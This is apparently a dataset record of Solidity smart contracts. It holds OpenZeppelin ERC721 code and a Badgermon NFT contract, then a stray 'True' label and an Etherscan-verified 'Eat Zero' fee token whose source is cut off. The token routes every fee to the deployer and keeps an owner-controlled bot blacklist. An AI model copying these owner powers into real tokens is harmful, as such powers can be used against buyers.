* bytes4(keccak256('tokenURI(uint256)')) == 0xc87b56dd
*
* => 0x06fdde03 ^ 0x95d89b41 ^ 0xc87b56dd == 0x5b5e139f
*/
bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x5b5e139f;
/**
* @dev Constructor function
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
// register the supported interfaces to conform to ERC721 via ERC165
_registerInterface(_INTERFACE_ID_ERC721_METADATA);
}
/**
* @dev Gets the token name.
* @return string representing the token name
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev Gets the token symbol.
* @return string representing the token symbol
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the URI for a given token ID. May return an empty string.
*
* If the token's URI is non-empty and a base URI was set (via
* {_setBaseURI}), it will be added to the token ID's URI as a prefix.
*
* Reverts if the token ID does not exist.
*/
function tokenURI(uint256 tokenId) external view returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
// Even if there is a base URI, it is only appended to non-empty token-specific URIs
if (bytes(_tokenURI).length == 0) {
return "";
} else {
// abi.encodePacked is being used to concatenate strings
return string(abi.encodePacked(_baseURI, _tokenURI));
}
}
/**
* @dev Internal function to set the token URI for a given token.
*
* Reverts if the token ID does not exist.
*
* TIP: if all token IDs share a prefix (e.g. if your URIs look like
* `http://api.myproject.com/token/<id>`), use {_setBaseURI} to store
* it and save gas.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI}.
*
* _Available since v2.5.0._
*/
function _setBaseURI(string memory baseURI) internal {
_baseURI = baseURI;
}
/**
* @dev Returns the base URI set via {_setBaseURI}. This will be
* automatically added as a preffix in {tokenURI} to each token's URI, when
* they are non-empty.
*
* _Available since v2.5.0._
*/
function baseURI() external view returns (string memory) {
return _baseURI;
}
/**
* @dev Internal function to burn a specific token.
* Reverts if the token does not exist.
* Deprecated, use _burn(uint256) instead.
* @param owner owner of the token to burn
* @param tokenId uint256 ID of the token being burned by the msg.sender
*/
function _burn(address owner, uint256 tokenId) internal {
super._burn(owner, tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
}
}
// File: openzeppelin-solidity/contracts/token/ERC721/ERC721Full.sol
pragma solidity ^0.5.0;
/**
* @title Full ERC721 Token
* @dev This implementation includes all the required and some optional functionality of the ERC721 standard
* Moreover, it includes approve all functionality using operator terminology.
*
* See https://eips.ethereum.org/EIPS/eip-721
*/
contract ERC721Full is ERC721, ERC721Enumerable, ERC721Metadata {
constructor (string memory name, string memory symbol) public ERC721Metadata(name, symbol) {
// solhint-disable-previous-line no-empty-blocks
}
}
// File: openzeppelin-solidity/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/Strings.sol
pragma solidity ^0.5.0;
library Strings {
// via https://github.com/oraclize/ethereum-api/blob/master/oraclizeAPI_0.5.sol
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d, string memory _e) internal pure returns (string memory) {
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
bytes memory _bd = bytes(_d);
bytes memory _be = bytes(_e);
string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length);
bytes memory babcde = bytes(abcde);
uint k = 0;
for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i];
for (uint i = 0; i < _bb.length; i++) babcde[k++] = _bb[i];
for (uint i = 0; i < _bc.length; i++) babcde[k++] = _bc[i];
for (uint i = 0; i < _bd.length; i++) babcde[k++] = _bd[i];
for (uint i = 0; i < _be.length; i++) babcde[k++] = _be[i];
return string(babcde);
}
function strConcat(string memory _a, string memory _b, string memory _c, string memory _d) internal pure returns (string memory) {
return strConcat(_a, _b, _c, _d, "");
}
function strConcat(string memory _a, string memory _b, string memory _c) internal pure returns (string memory) {
return strConcat(_a, _b, _c, "", "");
}
function strConcat(string memory _a, string memory _b) internal pure returns (string memory) {
return strConcat(_a, _b, "", "", "");
}
function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (_i != 0) {
bstr[k--] = byte(uint8(48 + _i % 10));
_i /= 10;
}
return string(bstr);
}
}
// File: contracts/ERC721Tradable.sol
pragma solidity ^0.5.0;
contract OwnableDelegateProxy {}
contract ProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
/**
* @title ERC721Tradable
* ERC721Tradable - ERC721 contract that whitelists a trading address, and has minting functionality.
*/
contract ERC721Tradable is ERC721Full, Ownable {
using Strings for string;
address proxyRegistryAddress;
uint256 private _currentTokenId = 0;
constructor(
string memory _name,
string memory _symbol,
address _proxyRegistryAddress
) public ERC721Full(_name, _symbol) {
proxyRegistryAddress = _proxyRegistryAddress;
}
/**
* @dev Mints a token to an address with a tokenURI.
* @param _to address of the future owner of the token
*/
function mintTo(address _to) public onlyOwner {
uint256 newTokenId = _getNextTokenId();
_mint(_to, newTokenId);
_incrementTokenId();
}
/**
* @dev calculates the next token ID based on value of _currentTokenId
* @return uint256 for the next token ID
*/
function _getNextTokenId() private view returns (uint256) {
return _currentTokenId.add(1);
}
/**
* @dev increments the value of _currentTokenId
*/
function _incrementTokenId() private {
_currentTokenId++;
}
function baseTokenURI() public pure returns (string memory) {
return "";
}
function tokenURI(uint256 _tokenId) external view returns (string memory) {
return Strings.strConcat(baseTokenURI(), Strings.uint2str(_tokenId));
}
/**
* Override isApprovedForAll to whitelist user's OpenSea proxy accounts to enable gas-less listings.
*/
function isApprovedForAll(address owner, address operator)
public
view
returns (bool)
{
// Whitelist OpenSea proxy contract for easy trading.
ProxyRegistry proxyRegistry = ProxyRegistry(proxyRegistryAddress);
if (address(proxyRegistry.proxies(owner)) == operator) {
return true;
}
return super.isApprovedForAll(owner, operator);
}
}
// File: contracts/Creature.sol
pragma solidity ^0.5.0;
/**
* @title Creature
* Creature - a contract for my non-fungible creatures.
*/
contract Creature is ERC721Tradable {
constructor(address _proxyRegistryAddress)
public
ERC721Tradable("Badgermon", "BM", _proxyRegistryAddress)
{}
function baseTokenURI() public pure returns (string memory) {
return "https://api-badgermon.com/badgermon/";
}
function contractURI() public pure returns (string memory) {
return "https://api-badgermon.com/contract";
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-29
*/
/**
Eat zero
TOKENOMICS:
Supply: 1,000,000 Tokens
5% marketing
2% max tx and wallet at launch
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File contracts/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File contracts/IERC20.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File contracts/IUniswapV2Router01.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// File contracts/IUniswapV2Router02.sol
pragma solidity >=0.6.2;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// File contracts/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File contracts/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File contracts
pragma solidity ^0.8.0;
contract EatZero is Context, IERC20, Ownable {
using Address for address payable;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcluded;
mapping(address => bool) private _isExcludedFromMaxWallet;
mapping(address => bool) public isBot;
address[] private _excluded;
uint8 private constant _decimals = 9;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1_000_000_000 * 10**_decimals;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 public maxTxAmountBuy = _tTotal / 1; // 100% of supply
uint256 public maxTxAmountSell = _tTotal / 1; // 100% of supply
uint256 public maxWalletAmount = _tTotal / 1; // 100% of supply
uint256 public tokenstosell = 0;
uint256 public ttk = 0;
//antisnipers
uint256 public liqAddedBlockNumber;
uint256 public blocksToWait = 0;
address payable public treasuryAddress;
address payable public devAddress;
address payable public wAddress;
mapping(address => bool) public isAutomatedMarketMakerPair;
string private constant _name = "Eat Zero";
string private constant _symbol = "E0";
bool private inSwapAndLiquify;
IUniswapV2Router02 public UniswapV2Router;
address public uniswapPair;
bool public swapAndLiquifyEnabled = true;
uint256 public numTokensSellToAddToLiquidity = _tTotal / 500;
struct feeRatesStruct {
uint8 rfi;
uint8 treasury;
uint8 dev;
uint8 lp;
uint8 toSwap;
}
feeRatesStruct public buyRates =
feeRatesStruct({
rfi: 0, // 0 RFI rate, in %
dev: 5, // dev team fee in %
treasury: 5, // treasury fee in %
lp: 0, // lp rate in %
toSwap: 10 // treasury + dev + lp
});
feeRatesStruct public sellRates =
feeRatesStruct({
rfi: 0, // 0 RFI rate, in %
dev: 5, // dev team fee in %
treasury: 5, // treasury fee in %
lp: 0, // lp rate in %
toSwap: 10 // treasury + dev + lp
});
feeRatesStruct private appliedRates = buyRates;
struct TotFeesPaidStruct {
uint256 rfi;
uint256 toSwap;
}
TotFeesPaidStruct public totFeesPaid;
struct valuesFromGetValues {
uint256 rAmount;
uint256 rTransferAmount;
uint256 rRfi;
uint256 rToSwap;
uint256 tTransferAmount;
uint256 tRfi;
uint256 tToSwap;
}
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ETHReceived,
uint256 tokensIntotoSwap
);
event LiquidityAdded(uint256 tokenAmount, uint256 ETHAmount);
event TreasuryAndDevFeesAdded(uint256 devFee, uint256 treasuryFee);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
event BlacklistedUser(address botAddress, bool indexed value);
event MaxWalletAmountUpdated(uint256 amount);
event ExcludeFromMaxWallet(address account, bool indexed isExcluded);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
IUniswapV2Router02 _UniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapPair = IUniswapV2Factory(_UniswapV2Router.factory()).createPair(address(this), _UniswapV2Router.WETH());
isAutomatedMarketMakerPair[uniswapPair] = true;
emit SetAutomatedMarketMakerPair(uniswapPair, true);
UniswapV2Router = _UniswapV2Router;
_rOwned[owner()] = _rTotal;
treasuryAddress = payable(msg.sender);
devAddress = payable(msg.sender);
wAddress = payable(msg.sender);
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[treasuryAddress] = true;
_isExcludedFromFee[devAddress] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromMaxWallet[owner()] = true;
_isExcludedFromMaxWallet[treasuryAddress] = true;
_isExcludedFromMaxWallet[devAddress] = true;
_isExcludedFromMaxWallet[address(this)] = true;
_isExcludedFromMaxWallet[uniswapPair] = true;
emit Transfer(address(0), owner(), _tTotal);
}
//std ERC20:
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
//override ERC20:
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(
currentAllowance >= amount,
"ERC20: transfer amount exceeds allowance"
);
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender] + addedValue
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(
currentAllowance >= subtractedValue,
"ERC20: decreased allowance below zero"
);
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function reflectionFromToken(uint256 tAmount, bool deductTransferRfi)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferRfi) {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rAmount;
} else {
valuesFromGetValues memory s = _getValues(tAmount, true);
return s.rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount / currentRate;
}
//No current rfi - Tiered Rewarding Feature Applied at APP Launch
function excludeFromReward(address account) external onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is not excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function isExcludedFromMaxWallet(address account)
public
view
returns (bool)
{
return _isExcludedFromMaxWallet[account];
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// @dev receive ETH from UniswapV2Router when swapping
receive() external payable {}
function _reflectRfi(uint256 rRfi, uint256 tRfi) private {
_rTotal -= rRfi;
totFeesPaid.rfi += tRfi;
}
function _takeToSwap(uint256 rToSwap, uint256 tToSwap) private {
_rOwned[address(this)] += rToSwap;
if (_isExcluded[address(this)]) _tOwned[address(this)] += tToSwap;
totFeesPaid.toSwap += tToSwap;
}
function _getValues(uint256 tAmount, bool takeFee)
private
view
returns (valuesFromGetValues memory to_return)
{
to_return = _getTValues(tAmount, takeFee);
(
to_return.rAmount,
to_return.rTransferAmount,
to_return.rRfi,
to_return.rToSwap
) = _getRValues(to_return, tAmount, takeFee, _getRate());
return to_return;
}
function _getTValues(uint256 tAmount, bool takeFee)
private
view
returns (valuesFromGetValues memory s)
{
if (!takeFee) {
s.tTransferAmount = tAmount;
return s;
}
s.tRfi = (tAmount * appliedRates.rfi) / 100;
s.tToSwap = (tAmount * appliedRates.toSwap) / 100;
s.tTransferAmount = tAmount - s.tRfi - s.tToSwap;
return s;
}
function _getRValues(
valuesFromGetValues memory s,
uint256 tAmount,
bool takeFee,
uint256 currentRate
)
private
pure
returns (
uint256 rAmount,
uint256 rTransferAmount,
uint256 rRfi,
uint256 rToSwap
)
{
rAmount = tAmount * currentRate;
if (!takeFee) {
return (rAmount, rAmount, 0, 0);
}
rRfi = s.tRfi * currentRate;
rToSwap = s.tToSwap * currentRate;
rTransferAmount = rAmount - rRfi - rToSwap;
return (rAmount, rTransferAmount, rRfi, rToSwap);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply / tSupply;
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
